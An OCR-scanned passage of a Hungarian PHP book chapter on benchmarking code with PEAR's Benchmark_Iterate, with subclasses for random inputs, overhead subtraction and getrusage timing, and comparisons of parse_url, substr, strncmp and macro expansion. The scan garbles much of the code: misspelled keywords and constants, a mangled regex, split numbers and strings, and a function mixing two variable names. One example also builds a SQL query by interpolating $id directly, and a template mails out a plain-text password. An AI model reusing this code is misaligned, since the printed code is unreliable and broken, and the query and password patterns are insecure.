szítünk, amely beolvas egy dokumentumot, és kiszámítja a Flesch olvashatósági pontszá-
mot. Ha egyszerre változtatjuk meg a szavak és a mondatok számlálásának algoritmusát,
nem tudjuk megítélni, melyik módosítás felel a teljesítmény változásáért.

Azt sem szabad elfelejtenünk, hogy a mérési eredmények igencsak viszonylagosak. Ha az


array_walk () függvény teljesítményét a hordozható gépemen összehasonlítom a f or
cikluséval a fejlesztési kiszolgálón, valószínűleg csak annyit állapíthatok meg, hogy egy
gyorsabb gépen futó f or ciklus gyorsabb, mint egy lassabb gépen futó array_walk ()
függvény. Nos, ezzel nem sokra megyünk. Ahhoz, hogy használható módszert kapjunk,
ugyanazon a gépen kell futtatnunk mindkettőt, hacsak nem a laptop és a kiszolgáló
összehasonlítása a cél - ilyenkor azonban a tesztelni kívánt függvény legyen azonos.

A szabványosított kezdeti adatok megadása is fontos feladat. Számos függvény (kiemelen-


dő itt a szabályos kifejezések kezelése) jelentősen eltérő viselkedéssel reagál, paraméterei
méretétől és megválasztásától függően. Ahhoz, hogy értelmes összehasonlítást végezhes-
sünk, azonos adathalmazokat kell alkalmaznunk az összehasonlítandó függvények vizsgá-
latánál. Ha rögzített adatokkal dolgozunk, használjuk fel azokat újra - ha pedig véletlen-
szerű adatokat alkalmazunk, ügyeljünk arra, hogy a felhasznált minták statisztikailag
egyenértékűek legyenek.

A mérési környezet kiépítése


Terveink szerint jelentős mennyiségű kódot szeretnénk megvizsgálni, így a folyamatok
automatizálására érdemes kiépítenünk egy mérési környezetet. Ez nemcsak a mérési
módszerek szabványosításában segít, hanem abban is, hogy beépítsük azokat egy egység-
tesztelési rendszerbe, mellyel vizsgálhatjuk a könyvtárak, valamint a PHP-változat fejlődé-
sének hatását a teljesítményre.

Az alábbiakban a mérési környezet néhány fontos tulajdonságát soroljuk fel:

• Egyszerű használat - Ha egy környezet használata nehézkes, természetesen senki


sem fogja igénybe venni a szolgáltatásait. Különösen fontos, hogy használatához
ne kelljen módosítanunk a tesztelni kívánt kódot.
• Alacsony vagy jól mérhető többletterhelés - Futásához maga a mérési környezet is fel-
használ bizonyos erőforrásokat. Fontos, hogy ezt a terhelést a lehető legkisebbre
csökkentsük, vagy (ami még jobb) pontosan lemérjük, így levonhatjuk a kapott
eredményekből.
490 PHP fejlesztés felsőfokon

• Lehetőség a kezdeti adatok tetszőleges beállítására - A mérési módszer csak akkor adhat
jó eredményeket, ha megfelelő adatokon futtatjuk, ezért létfontosságú, hogy tetsző-
leges bemeneti adatokat használhassunk.
• Bővíthetőség - Sokszor jól jöhet, ha a begyűjtött adatokat bővíthetjük, illetve
módosíthatjuk.

A PEAR mérőcsomagja
A PEAR rendelkezik egy Benchmark_Iterate nevű beépített mérőcsomaggal, amely
a fentiek követelmények szinte mindegyikét kielégíti, így a legtöbb egyszerű mérési fel-
adatra sikerrel alkalmazható.

A Benchmark_Iterate a kiválasztott függvényt egy szűkre szabott ciklusban futtatja, rög-


zítve a végrehajtási időket, és elérőket biztosítva az eredmények összefoglaló adataihoz.

Használatához mindenekelőtt telepítenünk kell a Benchmark könyvtárakat. A PHP 4.3-as


változatáig a Benchmark osztálycsomaghoz hozzájutottunk a PHP-vel, később azonban ez
a lehetőség megszűnt - most vagy letölthetjük az osztályokat a http: / /pear. php. net
címről, vagy választhatjuk a PEAR telepítőjének használatát az alábbiak szerint:

# pear instál1 Benchmark

Ha le szeretnénk mérni a f oo () függvény teljesítményét 1000 végrehajtás alatt, készíte-


nünk kell egy Benchmark_Iterate objektumot, meg kell hívnunk ennek run tagfügg-
vényét, megadva az végrehajtások számát, és ki kell olvasnunk az átlagos futásidőt:

require 'Benchmark/Iterate.php';
$benchmark = new Benchmark_Iterate;
$benchmark->run(1000, foo);
$result = $benchmark->get() ;
print "Mean execution time for foo: $result[mean]\n";

Egyszerű példaként hasonlítsuk össze a PHP beépített max () függvényét a saját magunk
által készített my_max () -szál. Ennek kapcsán láthatjuk, mennyivel gyorsabban haladha-
tunk végig a tömbökön beépített függvényekkel, mint saját kóddal.

A my_max () ugyanúgy működik, mint a beépített max () függvény - végrehajt egy lineá-
ris keresést a bemeneti tömbön, és mindig az addig talált legnagyobb elemet tartja meg
emlékezetében:

Function my_max(&$array) {
$max = $array[0];
Foreach ($array as $el) {
If($element > $max) {
19. fejezet • Szintetikus mérés: kódblokkok és függvények értékelése 491

$max = $element;
}
}
return $max;
}

A tömbkezelő függvények teszteléséhez hasznosak lehetnek a véletlen adatok. A kénye-


lem kedvéért érdemes egy ilyen, véletlen tömböket készítő függvényt írnunk, és a későb-
bi használat érdekében elhelyezni a test_data. inc-ben-.

Function random_array($size) {
For($I=0; $I<$size; $I++) {
$array[] = mt_rand();
}
return $array;
}

Elkészültünk hát az alapokkal, most már nem nehéz néhány összehasonlítást végezni
a Benchmark_Iterate segítségével, különböző méretű tömböket alkalmazva:

<?
require "test_data.inc";
require "Benchmark/Iterate.php";

$benchmark = new Benchmark_Iterate;


print " size my_max max my_max/max\n";
foreach (arraydO, 100, 1000) as $size) {
// Készítünk egy tömböt a teszthez.
// A Benchmark_Iterate nem támogatja,
// hogy minden lépéshez újabb véletlen adatokat adjunk meg,
// így ügyelnünk kell arra, hogy a $test_array tömböt használjuk
// mindkét függvény esetében
$test_array = random_array($size) ;
foreach (array('my_max', 'max') as $func ) {
$benchmark->run(1000, $func, $test_array);
$result = $benchmark->get();
$summary[$func][$size] = $result['mean'];
}
printf("%5d %6.6f%6.6f %3.2f\n", $size,
$summary['my_max'] [$size] ,
$summary['max'][$size],
$summary['my_max'][$size]/$summary['max'][$size]);
}
?>
492 PHP fejlesztés felsőfokon

Hordozható gépemen az alábbi eredmények születtek:

size my_max max my_max/max


10 0.000303 0.000053 5.74
100 0.001604 0.000072 22.43
1000 0.015813 0.000436 36.28

A példa persze meglehetősen mesterkélt. (Már csak a természetes lustaság okán sem jutna
eszünkbe saját max () függvényt készíteni.) Mindazonáltal jól szemléltet néhány fontos el-
gondolást.

A beépített függvények, amennyiben helyesen használják őket, mindig gyorsabbak, mint


a felhasználók által írtak. Ennek az az oka, hogy egy értelmezett nyelv (mint a PHP) alap-
jában véve úgy működik, hogy átalakítja a felhasználó kódját belső utasításokká, és eze-
ket futtatja saját virtuális gépén. Itt végiglépkedni a kódon pedig sokkal nagyobb terhet
jelent, mint egy lefordított nyelv (mondjuk a C) utasításainál.

A Benchmark_Iterate nem teszi lehetővé, hogy újabb véletlen adatokat adjunk meg
két lépés között. Jelen mérésünket ez nem zavarja, de sokszor nagy szükségünk van erre
a lehetőségre. Képzeljük el, mi volna, ha egy újabb versenytársat is bevonnánk a „küzde-
lembe" - a sort_max () függvényt, amely az asort () segítségével rendezi a tömböt,
azután egyszerűen kiadja az első elemet:

function sort_max($array) {
return array_pop(asort($array));
}

Számos rendező algoritmus (köztük a quicksort, melyet a PHP minden rendező algorit-
musa alkalmaz) jelentősen eltérő viselkedést mutat a legrosszabb és a legjobb esetben,
így egy szerencsétlen véletlen adatválasztás félrevezető eredményeket adhat. A szélső
esetek kiejtésére lefuttathatjuk többször a méréseket - természetesen egy jó mérőprogram
ezt megoldja helyettünk.

A Benchmark_lterate lassú - nagyon lassú. Ennek oka az, hogy jóval több munkát vé-
gez a szükségesnél. A run () tagfüggvény központi ciklusa így fest:

for ($i = 1; $i <= $iterations; $i++) {


$this->setMarker('start_' . $ i ) ;
call_user_func_array($function_name, $arguments);
$this->setMarker('end_' . $ i ) ;
}
19. fejezet • Szintetikus mérés: kódblokkok és függvények értékelése 493

A setMarker () egy, a Benchmark_Timer-től örökölt tagfüggvény, ami gyakorlatilag


nem tesz mást, mint meghívja a microtime () eljárást (ami viszont a gettimeof day ()
rendszerhívás felülete). A rendszeróra elérése nem nevezhető olcsó műveletnek egyetlen
programnyelvben sem. Ha nem érdekelnek bonyolultabb statisztikai adatok az átlagos fu-
tásidőnél, semmi szükség minden lépésnél rögzítenünk a futásidőt.

A Benchmark_Iterate rendes „falióraidőt" ad vissza. Néha szükségünk lehet részlete-


sebb adatokra is, például a getrusage () eredményére.

A felhasználói függvények és osztálytagfüggvények hívása szintén költséges lehet. Ezért


ha igen gyorsan működő függvényeket vagy függvényen kívüli kódblokkokot vizsgá-
lunk, a felhasználói burkolóban meghívott időmérő függvényhívások elfedhetik a valódi
eredményeket.

A mérőrendszer kiépítése
Mivel könyvünkben eddig is tudatosan próbáltuk elkerülni a kerék újrafeltalálását, most is
megkísérlünk minél több programozói munkát megtakarítani. Szerencsére a Bench-
mark_Iterate tiszta, objektumközpontú szerkezettel bír, ami viszonylag könnyűvé és
gyorssá teszi a bővítését.

Mindenekelőtt időzzünk el egy kicsit a Benchmark_Timer és a Benchmark_Iterate


osztálydiagramjánál. A 19.1. ábrán a Benchmark_Iterate és szülőösztályainak igencsak
lecsupaszított UML diagramját láthatjuk. A Benchmark_Iterate által nem használt tulaj-
donságokat és tagfüggvényeket az egyszerűség kedvéért most elhagytuk.

19.1. ábra
A Benchmark_Iterate osztálydiagramja, azokkal a tagfüggvényekkel, amelyeket érdemes lehet felül-
írni saját mérőrendszerünk kiépítésénél.
494 PHP fejlesztés felsőfokon

Amint a 19.1. ábrán láthatjuk, a mérés központi tagfüggvényei a run () és a get ().
A háttérben az előbbi meghívja a setMarker () tagfüggvényt közvetlenül minden mért
hívás előtt és után. A setMarker () az időt a microtime segítségével ezredmásodperc
pontossággal kiolvassa, majd egy jelet rögzít a markers tömbben ezzel az idővel.

A get () a timeElapsed () tagfüggvény segítségével követi a jelek közti időtartamokat.


Visszatérési értéke egy tömb a lépések végrehajtási időivel, valamint két további kulcs: az
iterations, ami a függvény végrehajtásainak számát adja meg, valamint a mean, ami
a lépéseken vett átlagos végrehajtási időt mutatja.

Véletlen adatok lépésenkénti használata


A véletlen adatok nagyszerű segítőtársaink lehetnek a mérésekben. Amikor elkészítünk
egy függvényt, ritkán tudhatjuk biztosan; milyen adatokat adnak át neki a későbbiekben.
A véletlen adatok alkalmazása a tesztelés során lehetővé teszi, hogy kiszűrjük a szélsőséges
teljesítményű eseteket. A gyári mérőrendszerek osztályaival az a nagy gond, hogy azelőtt
kell megadnunk bemeneti adataikat, hogy megkezdenék a futtatási ciklust. Ha ilyenkor vé-
letlen adatokat adunk meg, azzal sem járunk igazán jól, hiszen így végül egyetlen (jóllehet
véletlen) esetet vizsgáltunk. Az igazi az volna, ha újabb és újabb véletlen adatokat adhat-
nánk meg minden ismétlésnél - így fedhetnénk le valóban a bemenetek széles skáláját.

Az ideális API az lenne, ha megadhatnánk véletlen adatkészítő függvényünket, melyet


a program minden lépés elején meghívna. Lássuk, hogyan bővíthetjük a Benchmark_Ite-
rate osztályt, hogy jobban megfeleljen ilyen igényeinknek:

require 'Benchmark/Iterate.php';F

class RandomBench extends Benchmark_Iterate {


function run_random() {
$arguments = func_get_args() ;
$iterations = array_shift($arguments);
$function_name = array__shift($arguments);
$argument_generator = array_shift($arguments);
if (strstr($function_name, ' : : ' ) ) {
$function_name = explode('::', $function_name);
$objectmethod = $function_name[1];
}
if (strstr($function_name, ' - > ' ) ) {
$function_name = explode( ' - > ' , $function_name);
$objectname = $function_name[0] ;
global ${$objectname};
$objectmethod = $function_name[1];
for ($i = 1; $i <= $iterations; $ i + + ) {
$random_data = $argument_generator() ;
$this->setMarker('start_' . $ i ) ;
call_user_method_array($function_name[1] , ${$objectname},
$random_data);
19. fejezet • Szintetikus mérés: kódblokkok és függvények értékelése 495

$this->setMarker('end_' . $i ) ;
}
return(0);
}
for ($i = 1; $i <= $iterations; $i++) {
$random_data = $argument_generator() ;
$this->setMarker('start_' . $i);
call_user_func_array($function_name, $random_data);
$this->setMarker('end_' . $i);
}
}
}

A mérőrendszer terhelésének levonása


A mérőrendszer „üresjárati" terhelését igen egyszerűen megkaphatjuk, mindössze meg
kell mérnünk, mennyi ideig fut, ha nem mér semmit - és ezt az értéket le kell vonni való-
di mérési eredményeinkből. Mindezt megvalósíthatjuk, ha készítünk egy saját osztályt
a Benchmark_Iterate bővítéseként, és itt kicseréljük a run tagfüggvényt a sajátunkra,
ami kiszámolja a nincs-művelet (no-op) terhelését is az időmérő indítása és leállítása kö-
zött, íme az osztály kódja:
<?
require_once 'Benchmark/Iterate.php';

class MyBench extends Benchmark_Iterate {


public function run() {
$arguments = func_get_args();
$iterations = array_shift($arguments) ;
$function_name = array_shift($arguments) ;
$arguments = array_shift($arguments) ;
parent::run($iterations, $function_name, $arguments);
$oh = new Benchmark_Iterate;
for ($i = 1; $i <= $iterations; $i++) {
$oh->setMarker('start_' . $i);
$oh->setMarker('end_' . $i);
}
$oh_result = $oh->get();
$this->overhead = $oh_result['mean'] ;
return(0);
}
public function get() {
$result = parent::get();
$result['mean'] -= $this->overhead;
$result['overhead'] = $this->overhead;
return $result;
}
}
?>
496 PHP fejlesztés felsőfokon

Új osztályunkat egyszerűen használhatjuk korábbi példánkban, mindössze ki kell cserélni


a Benchmark_Iterate osztály minden megjelenését a programban:

require "test_data.inc";
require "MyBench.inc";

$benchmark = new MyBench;


print " size my_max max my_max/max\n";
foreach (array(10, 100, 1 00 0 ) as $size) {
// Készítünk egy tömböt a teszthez.
// A Benchmark_Iterate
// nem támogatja, hogy minden ismétléshez
// véletlen adatokat állítsunk elő,
// igy ügyelnünk kell arra, hogy a $test_array tömböt használjuk
// mindkét függvény esetében
$test_array = random_array($size) ;
foreach (array('my_max', 'm a x ') as $func ) {
$benchmark->run(1 00 0, $func, $test_array);
$result = $benchmark->get() ;
$summary[$func][$ si ze ] = $result['mean'] ;
}
printf("%5d % 6 . 6 f % 6 . 6 f % 3 . 2 f \ n " , $size,
$summary['my_max'] [$s i ze ] , $summary['max'] [$si ze] ,
$summary['my_max'][$size]/$summary['max'][$size]);
}

Az eredményekből világossá válik, hogy a mérőrendszer terhelése jelentősen eltolta a ka-


pott adatokat:

size my_max max my_max/max


10 0.000115 0.000007 16.41
100 0.001015 0.000031 33.27
1000 0.011421 0.000264 43.31

Látható, hogy eszerint a beépített lineáris keresés még annál is hatékonyabb a felhaszná-
lói kódnál, mint ahogy azt korábban láttuk.

Időmérés gyors futású függvényeknél

Amennyiben igen gyors függvényekkel foglalatoskodunk - például olyanokkal, amelyek-


ben csak néhány alapművelet található - a terhelés többnek látszhat, mint a függvényhí-
vás ideje (ami végeredményben negatív átlagot eredményezhet). A lépésszám növelése ja-
víthat a statisztikán, a szélső esetek hatásának csökkentésével.
19. fejezet • Szintetikus mérés: kódblokkok és függvények értékelése 497

Egyéb időmérési adatok


Sok esetben nem elégedhetünk meg azzal, hogy a függvények erőforrás-felhasználásáról
csak a valós időfelhasználás alapján tájékozódjunk. Olyan rendszereken, amelyek támo-
gatják a getrusage () hívást (a legtöbb modern Unix rendszeren és a Windowsban
a cygwin segítségével), részletes adatokat kaphatunk a folyamatokról a getrusage ()
PHP függvénnyel, ami a 19.1. táblázatban látható értékeket adja vissza egy társításos
tömbben.

19.1. táblázat A getrusage() erőforrásjellemzők.

A különböző rendszerek más és más módokon valósítják meg ezeket a számlálókat.


A BSD rendszereken minden adat elérhető, míg a Linux 2.4-ben csak az ru_stime, az
ru_utime, az ru_minf lt és az ru_maj f lt elérhető. Mindazonáltal ezek alkalmazása
is érdekes eredményeket adhat. A szabványos microtime () alapú időmérők használa-
tánál a függvény futtatása alatt eltelt „falióraidőt", vagyis a valós időt kapjuk meg.
Amennyiben a rendszer egyidőben egyetlen feladattal van elfoglalva, ezzel nincs semmi
gond, de ez a helyzet a gyakorlatban igen ritkán fordul elő. Itt is figyelembe kell ven-
nünk, hogy méréseink viszonylagosak - ha a szabad processzoridő azonos a mérések
között, a microtime () függvény alkalmazása értelmes eredményeket adhat, de ha csú-
csok vagy szünetek vannak a rendszer aktivitásában, a mérés torzulhat. A felhasználói, il-
498 PHP fejlesztés felsőfokon

letve rendszeridő adatai a getrusage kimenetében valóban azt az időt adják vissza,
amit a függvény felhasználói, illetve rendszerhívásokkal tölt. Ez sokkal jobb képet ad
a CPU erőforrásainak valódi kihasználásáról. Természetesen 10 ms összefüggő CPU idő
egészen más, mint két különálló 5 ms-os rész, és a getrusage nem küszöböli ki a pro-
cesszor gyorstárának, illetve a regiszterek újrafelhasználásának hatását, ami eltérő lehet
különböző rendszerkihasználtságnál, és jótékony hatással lehet a teljesítményre.

Ha ezeket az adatokat is be szeretnénk építeni mérési rendszerünkbe, egyszerűen át kell


írnunk a Benchmark_Timer osztálytól örökölt setMarker tagfüggvényt, ami az adat-
gyűjtésért felel. Szükségünk van továbbá a get tagfüggvény módosítására is, hiszen itt
kell rendeznünk a végeredményben megadott adatokat. Műveleteink a kódban az alábbi
alakot öltik:

require_once 'Benchmark/Iterate.php';

class RusageBench extends Benchmark_Iterate {


public function setMarker($name) {
$this->markers[$name] = getrusage();
$this->markers[$name]['ru_utime'] =
sprintf("%6d.%06d",$this->markers[$name]['ru_utime.tv_sec'],
$this
->markers[$name] ['ru_utime.tv_usec']) ;
$this->markers[$name]['ru_stime'] =
sprintf("%6d.%06d",$this->markers[$name] ['ru_stime.tv_sec'] ,
$this
->markers[$name] ['ru_stime.tv_usec']) ;
}
public function get() {
$result = array();
$total = 0;

$iterations = count($this->markers)12 ;

for ($i = 1; $i <= $iterations; $i++) {


foreach( array_keys(getrusage()) as $key) {
$temp[$key] =
($this->markers['end_'.$i][$key] - $this
->markers['start_'.$i][$key]);
$result['mean'][$key] +=
($this->markers['end_'.$i][$key] - $this
->markers['start_'.$i][$key]);
}
foreach ( array( 'ru_stime', 'ru_utime' ) as $key ) {
$result['mean'][$key] += ($this->markers['end_'.$i][$key] -
$this->markers['start_'.$i][$key]);
}
19. fejezet • Szintetikus mérés: kódblokkok és függvények értékelése 499

$result[$i] = $temp;
}
foreach( array_keys(getrusage() ) as $key) {
$result['mean'][$key] /= $iterations;
}
foreach ( array( 'ru_stime', 'ru_utime' ) as $key ) {
$result['mean'][$key] /= $iterations;
}
$result['iterations'] = $iterations;

return $result;
}
}

A kiegészítő erőforrásadatok beillesztésével kissé „elrontottuk" az API-t, hiszen a get ()


tagfüggvény visszatérési értékének alakja megváltozott. A mean kulcs helyett, amely az át-
lagos végrehajtási időt tartalmazta, most egy társításos tömböt kapunk az erőforrás-hasz-
nálati értékek atlagaiból.

Új mérőrendszerünket azonnal ki is próbálhatjuk - nézzük meg, mi történt a parse_url


függvénnyel a PHP 4.2.3-as és 4.3-as változata között. Ez a függvény egy URL-t fogad, és
egyszerű összetevőire - szolgáltatás típusa, URI, lekérdezési karakterlánc stb. - bontja.
A PHP 4.3.0 előtt számos panasz érkezett arra, hogy e függvény teljesítménye kritikán alu-
li. Utazzunk tehát vissza a PHP 4.2.3 idejébe, és mérjük meg a parse_url teljesítményét
egy felhasználói megoldással szemben:
require 'RusageBench.inc';

$fullurl =
"http://george:george@www.example.com:8080/foo/bar.php?example=yes#here";

function preg_parse_url($url) {
$regex = •!A (([A: /?#]+):)?(//(( [A/:?#@]+): ( [V:?#8]+)@)?([V:?#]*)'.
' (: (\d+))?)?(["?#]*) (\\?( [A#]*))?(#(•*))?! ';
preg_match($regex, $url, $matches);
list(,,$url['scheme'],,$url['user'],$url['pass'],$url['hőst'] , ,
$url['port'],$url['path'],,$url['query']) = $matches;
return $url;
}

foreach(array('preg_parse_url', 'parse_url') as $func) {


$b = new RusageBench;
$b->run('1000', $func, $fullurl);
$result = $b->get();
print "$func\t";
printf("System + User Time: %1.6f\n",
$result[mean][ru_utime] + $result[mean][ru_stime]);
}
500 PHP fejlesztés felsőfokon

A PHP 4.2.3-as változatán futtatva a laptopomon az alábbi eredményt kaptam:

PHP 4.2.3
preg_parse_url System + User Time: 0 . 0 0 0 2 8 0
parse_url System + User Time: 0. 002110

Nos, ennyit arról, hogy a beépített függvények mindig gyorsabbak! A preg_match meg-
oldás egy teljes nagyságrenddel gyorsabb, mint a parse_url. Mi okozhatja itt a gondot?
Ha megvizsgáljuk a parse_url 4.2.3-as forráskódját, láthatjuk, hogy a rendszer (POSIX-
megfelelő) szabályoskifejezés-könyvtárát használja, és minden lépésben elvégzi a követ-
kezőket:

/* ál-C kód*/
regex_t re; /* helyi hatókörű szabályoskifejezés-változó */
regmatch_t subs[11]; /* felhasználói értelmezőnk $matches
változójának megfelelője */
/* a minta fordítása*/
regcomp(&re, pattern, REG_EXTENDED);
/* a szabályos kifejezés alkalmazása a bemenő karakterláncra, és az
egyezések elhelyezése a subs változóban*/
regexec(&re, string, stringlen, subs, 0)

Ez tehát azt jelenti, hogy minden lépésben újra lefordítjuk a szabályos kifejezést, mielőtt
alkalmaznánk. A felhasználói megoldás a preg_match-et használja, ami tárolja a lefordí-
tott szabályos kifejezést, így később is fel tudja használni.

A PHP 4.3.0-ban a parse_url függvényt nem a tárolással javították meg, hanem írtak
egy új URL értelmezőt. Lássuk most ugyanezt a futtatást a PHP 4.3.0-ban:

PHP 4.3.0
preg_parse_url System + User Time: 0 . 0 0 0 2 1 0
parse_url System + User Time: 0 . 0 0 0 1 5 0

A beépített függvény most gyorsabb - amint az rendjén is van. Érdemes megjegyezni,


hogy saját megoldásunkat mindössze 30%-kal tudta megelőzni. Mindez jól mutatja, hogy
összetett karakterláncok elemzésénél nehéz túltenni a PCRE függvények (vagyis a preg
függvények) teljesítményén.

Mérések a kódban
A mérési eredmények folyamatos nyomon követése nagyszerű lehetőséget ad az alkalma-
zás „egészségi állapotának" figyelésére. Ahhoz persze, hogy a hosszú távú mérés során
kapott adatok hasznosíthatók legyenek, szabványosítani kell a tesztjeinket. Ezt megtehet-
19. fejezet * Szintetikus mérés: kódblokkok és függvények értékelése 501

jük egy külön tesztrendszer létrehozásával, de kiindulhatunk egységtesztelési tapasztalata-


inkból is, és a méréseket elhelyezhetjük ugyanabban a fájlban is, ahol a tesztelendő
könyvtár is megtalálható.

A beemelt fájlokat rendesen soha nem hajtják végre közvetlenül, így elhelyezhetünk ben-
nük olyan mérési kódokat, amelyek csak akkor futnak le, ha mégis közvetlen végrehajtás-
ra kerül sor.

// url.inc
function preg_parse_url() {
// . . .
}
// ellenőrizzük, hogy közvetlen végrehajtásról van-e szó
if( $_SERVER [ " PHP_SELF ' ] ==__ FILÉ___) {
// ha igen, indulhat a mérés
require 'RusageBench.inc;
$testurl =
"http://george:george@www.example.com:8080/foo/bar,php?example=yes#here";
$b = new RusageBench;
$b->run(1000, 'preg_parse_url', $testurl);
$result = $b->get();
printf("preg_parse_url(): % 1 . 6 f execs/sec\n",
$result['mean']['ru_utime'] + $result['mean']['ru_stime'] );
}

Ha ezek után valahol beemelik az url. inc fájlt, a program átugorja a mérési ciklust, és
a kód normálisan viselkedik. Ha azonban közvetlenül meghívjuk a könyvtárat, a mérési
eredményekhez jutunk:

$ php /home/george/devel/Utils/Uri.inc
preg_parse_url(): 0. 000215 execs/sec

Mérési példák
Miután megismerkedtünk a PEAR Benchmark rendszerével, és megtanultuk, miként bő-
víthetjük igényeink szerint, alkalmazzuk tudásunkat néhány példán is. Ahhoz, hogy egy
program alkalmazásában valóban jártasak legyünk, sok gyakorlatra van szükség — különö-
sen igaz ez a mérőprogramok esetében. Sok idő és türelem - e két feltétel elengedhetet-
len, ha apró módosításokkal szeretnénk növelni kódunk teljesítményét.

A hangolás legnehezebb részét nem két megvalósítás összehasonlítása jelenti - e célra


megfelel a korábbiakban kiépített eszközkészlet. Az igazi nehézséget az okozza, hogy ki-
válasszuk a megfelelő alternatívákat. Sajnálatos módon itt nincs rosette-i kő, amely azon-
502 PHP fejlesztés felsőfokon

nal megadná a megoldást - ha lenne, az egész teljesítménymérés felesleges lenne. A le-


hetséges megoldások megtalálásához tapasztalat és ráérzés szükségeltetik, melyeket csak
a gyakorlat edzhet igazán erőssé.

Az alábbiakban bemutatunk néhány példát, de ha valóban jártasságra szeretnénk szert


tenni e téren, érdemes saját megoldásokkal is próbálkoznunk. Kezdjük saját könyvtárunk
egy egyszerűbb függvényével, és játsszunk el vele. Ne essünk kétségbe, ha első próbálko-
zásaink lassabb függvényeket eredményeznek - a nem működő megoldások megismeré-
se sokat segít abban, hogy ráérezzünk, melyek lehetnek valóban hatékonyak.

Karakterek keresése a karakterláncok elején


A szövegfeldolgozásban gyakori feladat a karakterláncok elején álló karakterek vizsgálata.
Sokszor alkalmazzák e célra a substr függvényt nem hozzárendelő környezetben. így
például az alábbi kóddal kiolvashatjuk az összes HTTP változót a $_SERVER-ből:
foreach( $_SERVER as $key => $val) {
if(substr($key, 0, 5) == 'HTTP_') {
$HTTP_VARS[$key] = $val ;
}
}

Jóllehet a substr igen gyors, ismétlődő végrehajtása hosszadalmassá válhat (például ha


egy nagy tömb elemeinek kiválasztására használják). Meglepőnek tűnhet, de találkoztam
olyan alkalmazással, ami rosszul megvalósított karakterlánc-feldolgozása következtében
ideje jelentős részét a substr futtatásával töltötte. Ezen az alkalmazási területen a substr
helyett használjuk inkább az strncmp függvényt, amely összehasonlítja két karakterlánc
első n karakterét.

Az alábbi példában összevetjük a substr és az strncmp teljesítményét a SCRIPT_ válto-


zók kiválogatásában a $_SERVER-ből:
function substr_match($arr) {
foreach ($arr as $key => $val) {
if (substr($key, 0, 5) == 'SCRIPT_') {
$retval[$key] =$val;
}
}
}

function strncmp_match($arr) {
foreach ($arr as $key => $val) {
if(!strncmp($key, "SCRIPT_", 5)) {
$retval[$key] =$val;
}
}
}
19. fejezet • Szintetikus mérés: kódblokkok és függvények értékelése 503

require "MyBench.inc";
foreach(array('substr_match', 'strncmp_match') as $func) {
$bm = new MyBench;
$bm->run(100 0, $func, $_SERVER);
$result = $bm->get();
printf("$func %0 .6 f\n " , $result['mean']);
}

Az alábbi eredményt kapjuk:

substr_match 0.000482
strncmp_match 0.000406

20%-os sebességnövekedés nem csekélység, különösen gyakran futtatott kódoknál.

De miért lassabb ennyivel a substr az strncmp-nél? A substr helyet foglal a visszaté-


rési érték számára, kiírja, és végrehajtja az összehasonlítást, míg az strncmp egyszerűen
karakterenként veti össze a karakterláncokat. Jóllehet a PHP elrejti a memóriakezelés
részleteit, a tárfoglalás azért még ott van. A sok ismétlés során pedig a lefoglalt 6 bájtok
költsége szép lassan összeadódik.

Makrókifejtés
E példában mérőrendszerünket egy saját makrókifejtő rendszer optimalizálására használ-
juk. Egy ilyen rendszer számos helyzetben jó szolgálatot tehet - például ha bizonyos kor-
látozott programozási lehetőségeket szeretnénk nyújtani egy tartalomkezelő rendszerben,
vagy elektronikus levélsablonokat kívánunk adni a felhasználóknak. A sablonokkal vala-
mi ilyesmit érhetünk el:

Hello {NAME}! Üdvözöljük a ( z ) {SITENAME} webhelyen!


Azonosítójához a(z) '{PASSWORD}' jelszó tartozik.

E sablon kifejtése az alábbi lehet:

Hello George! Üdvözöljük a ( z ) example.com webhelyen!


Azonosítójához a(z) 'foobar' jelszó tartozik.

Makróinkat megvalósíthatjuk kereső- és cserekifejezések társításos tömbjeként. Mindenek-


előtt ki kell olvasnunk a megfelelő felhasználó ide kapcsolódó adatait az adatbázisból:

$result = mysql_query("SELECT * from user_profile where userid = $id");


$userinfo = mysql_fetch_assoc($result);
504 PHP fejlesztés felsőfokon

Az eredményhez hozzácsaphatunk még néhány beépített cserekifejezést:

$standard_elements = array('SITENAME' => 'example.com',


'FOOTER' => "Copyright 2004 Example.com"
);
$macros = array_merge($userinfo, $standard_elements);

A makró értékhalmazának meghatározása után egy cserélőfüggvényre is szükségünk lesz.


Első, egyszerű megközelítésünkben végighaladhatunk a halmaz elemein, folyamatosan
végezve a cseréket:

function expand_macros_vl(&$text, $macroset) {


if ($text) {
foreach ($macroset as $tag => $sub) {
if (preg_match("A{$tag\}/ ", $text)) {
$text = preg_replace(" / \ { $ t a g \ } / " , $sub, $text);
}
}
}
}

Az eljárás magja az alábbi sor, amely a cseréket végzi a megadott szöveg egyes címkéiben:

$text = preg_replace("A{$tag\}/", $sub, $text);

Készíthetünk egy egyszerű ellenőrző osztályt, amellyel biztosítjuk, hogy minden megoldá-
si módozatunk azonos eredményt adjon:

require "PHPUnit.php";
require "macro_sub. inc" ,-

class MacroTest extends PHPUnit_TestCase {


public function MacroTest($name) {
$this->PHPUnit_TestCase($name);
}
// ellenőrizzük a makrók helyettesítését
public function testSuccessfulSub() {
$macro_set = array( '/\{NAME\}/' => ' g e or g e ' );
$sample_text = "Hello {NAME}";
$expected_text = "Hello george";
$this->assertEquals($expected_text,
expand_macros($sample_text, $macro_set));
}
19. fejezet • Szintetikus mérés: kódblokkok és függvények értékelése 505

// ellenőrizzük, hogy a függvény figyelmen kívül hagyja a makrónak


// látszó, de nem makró kifejezéseket
function testUnmatchedMacro() {
$macro_set = array( 7\{NAME\}/' => 'george') ;
$sample_text = "Hello {F00}";
$expected_text = "Hello {F00}";
$this->assertEquals($expected_text,
expand_macros($sample_text, $macro_set));
}
}
$suite = new PHPUnit_TestSuite('MacroTest');
$result = PHPUnit::run($suite);
echó $result->toString();

Most pedig következzék a mérőprogram. Olyan adatokat szeretnénk használni, amelyek


valósághűen utánozzák a függvény bemenetét. Feltehetjük, hogy átlagosan 2 KB-os szö-
veges üzeneteket kapunk, makróhalmazunk pedig 20 elemből áll, melyek közül átlagosan
5-öt használnak egy üzenetben. A teszt kedvéért készítsünk egy ilyen makróhalmazt 20
kulcs-érték párból:

$macros = array(
'F001' => 'george@omniti.com',
'F002' => 'george@omniti.com',
'F003' => 'george@omniti.com',
'F004' => 'george@omniti.com',
'F005' => 'george@omniti.com',
'F006' => 'george@omniti.com',
'F007' => 'george@omniti.com',
'F008' => 'george@omniti.com',
'F009' => 'george@omniti.com',
'FOO10' => 'george@omniti.com',
'F0011' => 'george@omniti.com',
'F0012' => 'george@omniti.com',
'F0013' => 'george@omniti.com',
'F0014' => 'george@omniti.com',
'F0015' => 'george@omniti.com',
